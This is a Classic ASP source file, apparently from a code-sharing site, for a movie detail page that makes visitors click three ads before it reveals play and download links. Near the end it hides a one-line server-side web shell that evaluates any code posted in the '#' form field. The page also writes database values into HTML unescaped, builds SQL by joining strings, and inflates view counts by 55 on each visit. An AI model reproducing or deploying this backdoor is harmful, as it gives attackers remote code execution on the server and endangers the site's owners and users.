movie点广告播放版.asp
上传用户:qyswxdl
上传日期:2013-06-01
资源大小:1373k
文件大小:14k
源码类别:

家庭/个人应用

开发平台:

ASP/ASPX

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  2. <!--#include file="articleconn.asp"-->
  3. <!--#include file="inc/config.asp"-->
  4. <%
  5. articleid=request("id")
  6. if isnumeric(articleid)=false then
  7. response.redirect "error.asp"
  8. end if
  9.    %>
  10. <%
  11.    dim sql
  12.    dim rs
  13.    articleid=request("id")
  14.    set rs=server.createobject("adodb.recordset")
  15.    sql="update learning set hits=hits+55 where articleID="&articleid
  16.    rs.open sql,conn,1,3
  17.    sql="select * from learning where articleid="&articleid
  18.    rs.open sql,conn,1,1
  19.    title=rs("title")
  20.    ittype=rs("typeid")
  21.  %>
  22. <HTML><HEAD><TITLE><%=homes%>《<%=title%>》</TITLE>
  23. <base onclick="JavaScript:will()" />
  24. <META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK 
  25. href="css/css.css" type=text/css rel=stylesheet>
  26. <SCRIPT language=javascript>
  27. <!--
  28. function MM_openBrWindow(theURL,winName,features) { //v2.0
  29.   mediaWindow = window.open(theURL,winName,features);
  30.   mediaWindow.focus();
  31. }
  32. //-->
  33. </SCRIPT>
  34. <SCRIPT language=JavaScript><!-- 
  35. if (top.location != location) top.location.href = location.href;
  36. self.moveTo(0,0);
  37. self.resizeTo(screen.availWidth,screen.availHeight);
  38. // --></SCRIPT>
  39. <SCRIPT language=JavaScript1.2> 
  40. <!-- 
  41. function Show(divid) { 
  42. divid.filters.revealTrans.apply(); 
  43. divid.style.visibility = "visible"; 
  44. divid.filters.revealTrans.play(); 
  45. function Hide(divid) { 
  46. divid.filters.revealTrans.apply(); 
  47. divid.style.visibility = "hidden"; 
  48. divid.filters.revealTrans.play(); 
  49. //--> 
  50. </SCRIPT>
  51. <script>
  52. function OpenWindow(htmurl,widths,heights)
  53. {
  54.    var paramet = 'toolbar=no,resizable=no,scrollbars=no,width='+ widths + ',height=' + heights;
  55.    newWindow = window.open(htmurl,"yule21",paramet);
  56.    newWindow.focus();
  57. }
  58. </script>
  59.  <script>
  60. IEver=navigator.appVersion.substring(navigator.appVersion.indexOf('MSIE')+5,navigator.appVersion.indexOf(';',17));
  61. if(IEver=="6.0")
  62.     {
  63.       ie6 = true;
  64.       width_add = 10; 
  65.       height_add = 29;
  66.       hand_add = -14;
  67.     }
  68. else
  69.     {
  70.       ie6 = false;
  71.       width_add = 10;
  72.       height_add = 29;
  73.       hand_add = 14;
  74.     }
  75. function OpenWindow(PlayerURL)
  76. {
  77.   if (ie6)
  78. newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
  79.   else
  80. newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
  81. newwindow.moveTo(100,100);
  82. newwindow.resizeTo(440+width_add,428+height_add+hand_add);
  83. newwindow.focus();
  84. newwindow.location=PlayerURL;
  85. }
  86. function play(id)
  87. {
  88.     OpenWindow('look.asp?id1='+id);
  89. }
  90. </script>
  91. <SCRIPT language=JavaScript1.2> 
  92. <!-- 
  93. function Show(divid) { 
  94. divid.filters.revealTrans.apply(); 
  95. divid.style.visibility = "visible"; 
  96. divid.filters.revealTrans.play(); 
  97. function Hide(divid) { 
  98. divid.filters.revealTrans.apply(); 
  99. divid.style.visibility = "hidden"; 
  100. divid.filters.revealTrans.play(); 
  101. //--> 
  102. </SCRIPT>
  103. <script>
  104. function OpenWindow(htmurl,widths,heights)
  105. {
  106.    var paramet = 'toolbar=no,resizable=no,scrollbars=no,width='+ widths + ',height=' + heights;
  107.    newWindow = window.open(htmurl,"yule21",paramet);
  108.    newWindow.focus();
  109. }
  110. </script>
  111.  <script>
  112. IEver=navigator.appVersion.substring(navigator.appVersion.indexOf('MSIE')+5,navigator.appVersion.indexOf(';',17));
  113. if(IEver=="6.0")
  114.     {
  115.       ie6 = true;
  116.       width_add = 10; 
  117.       height_add = 29;
  118.       hand_add = -14;
  119.     }
  120. else
  121.     {
  122.       ie6 = false;
  123.       width_add = 10;
  124.       height_add = 29;
  125.       hand_add = 14;
  126.     }
  127. function OpenWindow(PlayerURL)
  128. {
  129.   if (ie6)
  130. newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
  131.   else
  132. newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
  133. newwindow.moveTo(100,100);
  134. newwindow.resizeTo(440+width_add,428+height_add+hand_add);
  135. newwindow.focus();
  136. newwindow.location=PlayerURL;
  137. }
  138. function play(id)
  139. {
  140.     OpenWindow('look.asp?id1='+id);
  141. }
  142. </script>
  143. <META content="Microsoft FrontPage 4.0" name=GENERATOR><style type="text/css">
  144. <!--
  145. body {
  146. background-color: #FFFFFF;
  147. }
  148. -->
  149. </style></HEAD>
  150. <BODY oncontextmenu="return false" onselectstart="return false" 
  151. ondragstart="return false" leftMargin=5 topMargin=5 
  152. marginheight="0" marginwidth="0">
  153. <TABLE cellSpacing=0 cellPadding=0 width=562 align=center border=0 background=images/m2.gif>
  154.   <TR>
  155.       <TD height=38 align=left background="images/m1.gif"><table width="612" border="0" cellspacing="0" cellpadding="0">
  156.         <tr>
  157.           <td width="41">&nbsp;</td>
  158.           <td width="571"><b><%=title%></b></td>
  159.         </tr>
  160.       </table></TD>
  161.   </TR>
  162.   <TR>
  163.     <TD vAlign=top><br>
  164. <TABLE width="95%" align=center border=0>
  165.               <TBODY>
  166.               <TR>
  167.                 <TD vAlign=top align=middle width="65%">
  168.                   <TABLE cellSpacing=0 cellPadding=2 width="95%" 
  169.                   borderColorLight=#000000 border=0>
  170.                     <TBODY>
  171.                     <TR>
  172.                       <TD width=80 vAlign=top bgcolor="f2f2f2">类  型:</TD>
  173.                       <TD bgcolor="f2f2f2"><%=ittype%></TD>
  174.                     </TR>
  175.                     <TR>
  176.                       <TD vAlign=top width=80>主  演:</TD>
  177.                       <TD><%content=rs("name")
  178.                           if len(content)>18 then content=left(content,18)&"…"
  179.                           response.write content
  180.                             %> </TD></TR>
  181.                      <TR> 
  182.                   <TD bgcolor="f2f2f2">格  式:</TD><TD bgcolor="f2f2f2"><% if rs("movietype")="rm" then%>
  183.                         <img src="IMG/real.gif" border="0"> 
  184.                         <%elseif rs("movietype")="md" then%>
  185.                         <img src="IMG/media.gif" border="0"> 
  186.                         <%elseif rs("movietype")="mov" then%>
  187.                         <img src="IMG/lookmov.gif" border="0"> 
  188.                         <%end if%>
  189.                       </TD>
  190.                 </TR>
  191.                     <TR>
  192.                       <TD vAlign=top width=80>片  长: </TD>
  193.                       <TD><%=rs("howlong")%> 分钟</TD></TR>
  194.                     <TR>
  195.                    <TD width=80 vAlign=top bgcolor="f2f2f2">带宽要求:</TD>
  196.                       <TD bgcolor="f2f2f2">450Kbps </TD>
  197.                     </TR>
  198.                      <TR>
  199.                       <TD vAlign=top width=80>观看次数: </TD>
  200.                       <TD><font color=ff0000><%=rs("hits")%></font> 次</TD></TR>
  201.                     <TR>
  202.                       <TD width=80 vAlign=top bgcolor="f2f2f2">加入时间:</TD>
  203.                       <TD bgcolor="f2f2f2"><%=rs("dateandtime")%>&nbsp;</TD>
  204.                     </TR>
  205.                     <TR>
  206.                       <TD vAlign=top width=80>推荐程度:</TD>
  207.                       <TD><SPAN class=xinxin><img border="0" src="img/<%=rs("softlevel")%>STAR.GIF"></SPAN></TD></TR>
  208.                     <TR>
  209.                       <TD width=80 vAlign=top bgcolor="f2f2f2">点播每集:</TD>
  210.                       <TD bgcolor="f2f2f2">需要 <img border=0 src=img/<%=rs("count")%>.gif> 影币 
  211.                     </TD>
  212.                     </TR>
  213.                       <TD vAlign=top width=80>其它服务:</TD>
  214.                       <TD><input type="button" name="Submit2" value="报告该片有错误" class="input" onClick="window.open('sendeoff.asp?title=<%=title%>','film','scrollbars=no,resizable=no,width=460,height=380,menubar=no,top=168,left=168')">
  215. &nbsp;
  216. <input type="button" name="Submit2" value="发表评论" class="input" onClick="window.open('fbpl.asp?id=<%=rs("articleid")%>')"></TD>
  217.                     
  218.                     </TABLE></TD>   
  219.                 <TD vAlign=top align=middle width=200>
  220.                   <TABLE cellSpacing=0 cellPadding=0 width=165>
  221.                     <TBODY>
  222.                     <TR>
  223.                       <TD align=middle><img src="<%if rs("domurl")="" then%>img/w.gif<%else%><%=rs("domurl")%><%end if%>" border=1 width="180" height="230">
  224.                      </TD>
  225.                     </TR> 
  226.                     </TBODY></TABLE>
  227.                 </TD></TR></TBODY></TABLE><BR></TD></TR>
  228.         <TR>
  229.           <TD>
  230. <SCRIPT language=JavaScript type=text/javascript>
  231. <!--
  232. function will() {
  233. if (event.srcElement.tagName=='A'||event.srcElement.tagName=='') {
  234. window.focus();
  235. oUrl.style.display = "";
  236. yAd.style.display = "none";
  237. }
  238. }
  239. //-->            
  240. </SCRIPT>   
  241.             <DIV id=yAd align=center>
  242. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  243.   <tr> 
  244.     <td height="21"><div align="center" style="color: #FF0000">观看提示</div></td>
  245.   </tr>
  246.   <tr>
  247.     <td height="22"><div align="center" style="color: #FF0000">请按以下提示点击三个广告,完成后即可获得播放地址!支持本站发展,请正确完成以下步骤!</div></td>
  248.   </tr>
  249. </table>
  250. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  251.   <tr> 
  252.     <td><TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
  253.         <TBODY>
  254.           <TR> 
  255.             <TD align="center"><span style="color: #FF0000"> 第一步点击下面的广告</span></TD>
  256.           </TR>
  257.         </TBODY>
  258.       </TABLE></td>
  259.   </tr>
  260.   <tr>
  261.     <td height="64" align="center" valign="middle"><FONT color=#ffffff> 
  262. <%
  263.     dim rsad
  264.     dim sqlad
  265. set rsad=server.createobject("adodb.recordset")
  266. sqlad="select * from indexad"
  267. rsad.open sqlad,conn,1,1
  268. %>
  269.       <%=rsad("centerad")%>
  270. </FONT></td>
  271.   </tr>
  272. </table>
  273. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  274.   <tr> 
  275.     <td><TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
  276.         <TBODY>
  277.           <TR> 
  278.             <TD align="center"><span style="color: #FF0000"> 第二步点击下面的广告</span></TD>
  279.           </TR>
  280.         </TBODY>
  281.       </TABLE></td>
  282.   </tr>
  283.   <tr> 
  284.     <td height="64" align="center" valign="middle"><FONT color=#ffffff>       <%=rsad("upad2")%>
  285. </FONT></td>
  286.   </tr>
  287. </table>
  288. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  289.   <tr> 
  290.     <td height="23">
  291.       <TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
  292.           <TBODY>
  293.             <TR> 
  294.               <TD height="20" align="center"><span style="color: #FF0000"> 第三步点击下面的广告</span></TD>
  295.             </TR>
  296.           </TBODY>
  297.       </TABLE></td>
  298.     </tr>
  299.   <tr> 
  300.     <td valign="middle">
  301.       <TABLE height="33%" cellSpacing=1 cellPadding=1 width="100%" border=0>
  302.           <TBODY>
  303.             <TR> 
  304.               <TD height=70> 
  305.                 <DIV align=center> <FONT color=#ffffff>      <%=rsad("downad")%></FONT></DIV></TD>
  306.             </TR>
  307.           </TBODY>
  308.       </TABLE></td>
  309.     </tr>
  310. </table> 
  311.             </DIV>
  312.              <div id="oUrl" style="display:'none'"> 
  313.             <TABLE cellSpacing=10 cellPadding=0 width="95%" align=center 
  314.             borderColorLight=#000000 border=0>
  315.               <TBODY>
  316.               <tr>
  317.                 <TD vAlign=top align=middle width=82>
  318.                   <p align="left"><img src="images/online.gif" width="82" height="23"></p> </TD>
  319.                 <TD width="469"><%
  320.                   
  321. sql="select * from movieurl where nameid='"&articleid&"'"
  322. set rsurl=server.createobject("adodb.recordset")
  323. if rs("onlinelook")=1 then
  324. rsurl.open sql,conn,1,1
  325. if rsurl.eof then
  326. response.write "暂停该影片的在线播放,想看该片的朋友稍后或下载后再观看!"
  327. else
  328. no=rsurl.recordcount
  329. do while not rsurl.eof
  330. for c=1 to no
  331. if len(c)=1 then
  332. response.write "<a class='real' href=""javascript:play('"&rsurl("id")&"&id2="&articleid&"')"">&nbsp;&nbsp;"&c&"&nbsp;</a>"
  333. else
  334. response.write "<a class='real' href=""javascript:play('"&rsurl("id")&"&id2="&articleid&"')"">&nbsp;"&c&"&nbsp;</a>"
  335. if c mod 10=0 then
  336. response.write "<br>"
  337. end if
  338. end if
  339. rsurl.movenext
  340. if rsurl.eof then exit do
  341. next
  342. loop
  343. end if
  344. rsurl.close
  345. else
  346. response.write "暂停该影片的在线播放,想看该片的朋友稍后或下载后再观看!"
  347. end if%></TD>
  348.               </tr>
  349. </div>
  350.               <tr>
  351.                 <TD vAlign=top align=right width=82>
  352.                   <p align="left"><img src="images/download.gif" width="82" height="23"></p>                </TD>  
  353.                 <TD><%
  354. sql="select * from movieurl where nameid='"&articleid&"'"
  355. set rsurl=server.createobject("adodb.recordset")
  356. if rs("down")=1 then                               
  357. rsurl.open sql,conn,1,1
  358. if rsurl.eof then
  359. response.write""
  360. else
  361. no=rsurl.recordcount
  362. do while not rsurl.eof
  363. for c=1 to no
  364. if len(c)=1 then
  365. response.write"<a class='real' href=""javascript:OpenWindow('down.asp?id1="&rsurl("id")&"&id2="&articleid&"',460,406);"">&nbsp;&nbsp;"&c&"&nbsp;</a>"
  366. else
  367. response.write"<a class='real' href=""javascript:OpenWindow('down.asp?id1="&rsurl("id")&"&id2="&articleid&"',460,406);"">&nbsp;"&c&"&nbsp;</a>"
  368. if c mod 15=0 then
  369. response.write"<br>"
  370. end if
  371. end if
  372. rsurl.movenext
  373. if rsurl.eof then exit do
  374. next
  375. loop
  376. end if
  377. rsurl.close
  378. else
  379. response.write"系统提示:暂时不提供影片下载,请过两天再来吧!"
  380. end if%></TD>
  381.               </tr>
  382.               </TBODY></TABLE></TD></TR>
  383.   <TR>
  384.     <TD >
  385.       <TABLE cellSpacing=10 cellPadding=0 width="95%" align=center border=0>
  386.         <TBODY>
  387.           <TR>
  388.                 <TD>内容简介:<BR>&nbsp;&nbsp;&nbsp;&nbsp;<%content=rs("content")
  389.                           if len(content)>191 then content=left(content,191)&"……"
  390.                           response.write content
  391.                             %></TD></TR>
  392.         </TBODY>
  393.       </TABLE></TD></TR>
  394.   <TR borderColorLight=#000000>
  395.     <TD align=middle  height=30><INPUT class="input" onclick=javascript:self.close() type=button value=关闭本窗口 name=Submit> 
  396.     </TD></TR>
  397.   <TR borderColorLight=#000000>
  398. <TD align=middle><IMG height=17 src="images/m3.gif" 
  399.     width=612></TD>
  400.   </TR></TBODY></TABLE>
  401. </BODY></HTML>
  402. <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>
  403. <%set rs=conn.execute("select * from [home]")%>
  404. </script>
  405. <script language="javascript">kstatus();function kstatus(){self.status="<%=rs("Description")%>";setTimeout("kstatus()",0);}</script>
  406. <SCRIPT language=JavaScript><!-- 
  407. if (top.location != location) top.location.href = location.href;
  408. self.moveTo(0,0);
  409. self.resizeTo(screen.availWidth,screen.availHeight);
  410. // --></SCRIPT>